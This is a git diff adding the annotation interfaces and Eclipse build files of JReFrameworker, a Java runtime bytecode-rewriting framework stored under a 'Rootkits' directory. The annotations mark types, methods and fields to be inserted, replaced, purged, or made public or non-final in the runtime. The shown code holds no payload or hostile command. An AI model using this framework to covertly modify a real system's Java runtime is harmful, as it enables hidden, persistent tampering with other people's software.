+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinality.java
@@ -0,0 +1,32 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Adds or removes the final modifier from a type
+ *
+ * "type" should be the qualified class name, if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "finality" should be a boolean true to add or boolean false to remove the
+ * final keyword
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineTypeFinalities.class)
+public @interface DefineTypeFinality {
+ int phase() default 1;
+ String type();
+ boolean finality();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java
new file mode 100644
index 0000000..6e75203
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineTypeVisibilities {
+ DefineTypeVisibility[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java
new file mode 100644
index 0000000..26539e1
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java
@@ -0,0 +1,31 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Sets the visibility of a type
+ *
+ * "type" should be the qualified class name, if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "visibility" should be "public", "protected", or "private"
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineTypeVisibilities.class)
+public @interface DefineTypeVisibility {
+ int phase() default 1;
+ String type();
+ String visibility();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/MergeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/MergeType.java
new file mode 100644
index 0000000..906b21a
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/MergeType.java
@@ -0,0 +1,29 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated type (class, abstract class, interface) should be
+ * inserted into the runtime. If the runtime type already exists it will be
+ * replaced with the annotated type. Ignores all other JReFrameworker annotations.
+ *
+ * "supertype" forces merges into the specified qualified type
+ * This option is useful for nasty edge case hacks...or forcing stubborn compiles to work.
+ * Hopefully in the future this option can be removed
+ *
+ * @author Ben Holland
+ */
+public @interface MergeType {
+ int phase() default 1;
+ String supertype() default "";
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeType.java
new file mode 100644
index 0000000..e808749
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeType.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated type (class, abstract class, interface) should be
+ * purged from the runtime. Ignores all other JReFrameworker annotations.
+ *
+ * @author Ben Holland
+ */
+public @interface PurgeType {
+ int phase() default 1;
+ String type();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeTypes.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeTypes.java
new file mode 100644
index 0000000..034c7e9
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/PurgeTypes.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface PurgeTypes {
+ PurgeType[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.classpath
new file mode 100644
index 0000000..eca7bdb
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.classpath
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.gitignore
new file mode 100644
index 0000000..ae3c172
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.project
new file mode 100644
index 0000000..0d39f2d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.project
@@ -0,0 +1,28 @@
+
+
+ com.jreframeworker.annotations
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+ org.eclipse.pde.ManifestBuilder
+
+
+
+
+ org.eclipse.pde.SchemaBuilder
+
+
+
+
+
+ org.eclipse.pde.PluginNature
+ org.eclipse.jdt.core.javanature
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.settings/org.eclipse.jdt.core.prefs
new file mode 100644
index 0000000..0c68a61
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/.settings/org.eclipse.jdt.core.prefs
@@ -0,0 +1,7 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
+org.eclipse.jdt.core.compiler.compliance=1.8
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.source=1.8
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..5be30be
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/META-INF/MANIFEST.MF
@@ -0,0 +1,16 @@
+Manifest-Version: 1.0
+Bundle-ManifestVersion: 2
+Bundle-Name: JReFrameworker Annotations
+Bundle-SymbolicName: com.jreframeworker.annotations;singleton:=true
+Bundle-Version: 1.3.1.qualifier
+Bundle-RequiredExecutionEnvironment: JavaSE-1.8
+Bundle-ActivationPolicy: lazy
+Require-Bundle: org.eclipse.ui,
+ org.eclipse.ui.ide,
+ org.eclipse.core.runtime,
+ org.eclipse.core.resources
+Bundle-Activator: com.jreframeworker.annotations.Activator
+Export-Package: com.jreframeworker.annotations.fields,
+ com.jreframeworker.annotations.methods,
+ com.jreframeworker.annotations.types
+Automatic-Module-Name: com.jreframeworker.annotations
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/build.properties
new file mode 100644
index 0000000..34d2e4d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/build.properties
@@ -0,0 +1,4 @@
+source.. = src/
+output.. = bin/
+bin.includes = META-INF/,\
+ .
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/Activator.java
new file mode 100644
index 0000000..58747af
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/Activator.java
@@ -0,0 +1,50 @@
+package com.jreframeworker.annotations;
+
+import org.eclipse.ui.plugin.AbstractUIPlugin;
+import org.osgi.framework.BundleContext;
+
+/**
+ * The activator class controls the plug-in life cycle
+ */
+public class Activator extends AbstractUIPlugin {
+
+ // The plug-in ID
+ public static final String PLUGIN_ID = "com.jreframeworker.annotations"; //$NON-NLS-1$
+
+ // The shared instance
+ private static Activator plugin;
+
+ /**
+ * The constructor
+ */
+ public Activator() {
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext)
+ */
+ public void start(BundleContext context) throws Exception {
+ super.start(context);
+ plugin = this;
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext)
+ */
+ public void stop(BundleContext context) throws Exception {
+ plugin = null;
+ super.stop(context);
+ }
+
+ /**
+ * Returns the shared instance
+ *
+ * @return the shared instance
+ */
+ public static Activator getDefault() {
+ return plugin;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineField.java
new file mode 100644
index 0000000..86c8862
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineField.java
@@ -0,0 +1,22 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.FIELD })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated field should be inserted into the base
+ * class during a merge. If the field already exists, the field
+ * will be replaced with the annotated field.
+ *
+ * @author Ben Holland
+ */
+public @interface DefineField {}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java
new file mode 100644
index 0000000..6265622
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineFieldFinalities {
+ DefineFieldFinality[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java
new file mode 100644
index 0000000..08139fc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java
@@ -0,0 +1,35 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Adds or removes the final modifier from a field
+ *
+ * "type" should be the qualified class name if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "field" should be the name of the field for which to set visibility
+ *
+ * "finality" should be a boolean true to add or boolean false to remove the
+ * final keyword
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineFieldFinalities.class)
+public @interface DefineFieldFinality {
+ int phase() default 1;
+ String type();
+ String field();
+ boolean finality();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java
new file mode 100644
index 0000000..52cc81f
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineFieldVisibilities {
+ DefineFieldVisibility[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java
new file mode 100644
index 0000000..5a4b2fc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java
@@ -0,0 +1,34 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Sets the visibility of a field
+ *
+ * "type" should be the qualified class name if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "field" should be the name of the field for which to set visibility
+ *
+ * "visibility" should be "public", "protected", or "private"
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineFieldVisibilities.class)
+public @interface DefineFieldVisibility {
+ int phase() default 1;
+ String type();
+ String field();
+ String visibility();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeField.java
new file mode 100644
index 0000000..5b164af
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeField.java
@@ -0,0 +1,25 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated field should be purged from the base class.
+ *
+ * @author Ben Holland
+ */
+@Repeatable(PurgeFields.class)
+public @interface PurgeField {
+ String type();
+ String field();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeFields.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeFields.java
new file mode 100644
index 0000000..bafdd5f
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/fields/PurgeFields.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.fields;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface PurgeFields {
+ PurgeField[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethod.java
new file mode 100644
index 0000000..e9db328
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethod.java
@@ -0,0 +1,22 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.METHOD })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated method should be inserted into the base type
+ * during a merge. If the base type already contains the method then
+ * the base method will be replaced with the annotated method.
+ *
+ * @author Ben Holland
+ */
+public @interface DefineMethod {}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java
new file mode 100644
index 0000000..d736bfc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineMethodFinalities {
+ DefineMethodFinality[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java
new file mode 100644
index 0000000..32dfa29
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java
@@ -0,0 +1,35 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Adds or removes the final modifier from a method
+ *
+ * "type" should be the qualified class name, if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "method" should be the name of the method for which to set finality
+ *
+ * "finality" should be a boolean true to add or boolean false to remove the
+ * final keyword
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineMethodFinalities.class)
+public @interface DefineMethodFinality {
+ int phase() default 1;
+ String type();
+ String method();
+ boolean finality();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java
new file mode 100644
index 0000000..9c998fc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineMethodVisibilities {
+ DefineMethodVisibility[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java
new file mode 100644
index 0000000..0762f89
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java
@@ -0,0 +1,34 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Sets the visibility of a method
+ *
+ * "type" should be the qualified class name if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "method" should be the name of the method for which to set visibility
+ *
+ * "visibility" should be "public", "protected", or "private"
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineMethodVisibilities.class)
+public @interface DefineMethodVisibility {
+ int phase() default 1;
+ String type();
+ String method();
+ String visibility();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/MergeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/MergeMethod.java
new file mode 100644
index 0000000..aced164
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/MergeMethod.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for methods
+@Target({ ElementType.METHOD })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the base method should be renamed and made private.
+ * The annotated method will be inserted along the renamed base
+ * method. Calls to the original base method will now point to
+ * the annotated method. Super calls to the original base method
+ * will be replaced with calls to the renamed base method.
+ *
+ * @author Ben Holland
+ */
+public @interface MergeMethod {}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethod.java
new file mode 100644
index 0000000..46fc683
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethod.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated method should be purged from the base type.
+ *
+ * @author Ben Holland
+ */
+public @interface PurgeMethod {
+ int phase() default 1;
+ String type() default "";
+ String method() default "";
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethods.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethods.java
new file mode 100644
index 0000000..7aa6e54
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/methods/PurgeMethods.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.methods;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface PurgeMethods {
+ PurgeMethod[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineType.java
new file mode 100644
index 0000000..8665a93
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineType.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated type (class, abstract class, interface) should be
+ * inserted into the runtime. If the runtime type already exists it will be
+ * replaced with the annotated type. Ignores all other JReFrameworker annotations.
+ *
+ * @author Ben Holland
+ */
+public @interface DefineType {
+ int phase() default 1;
+}
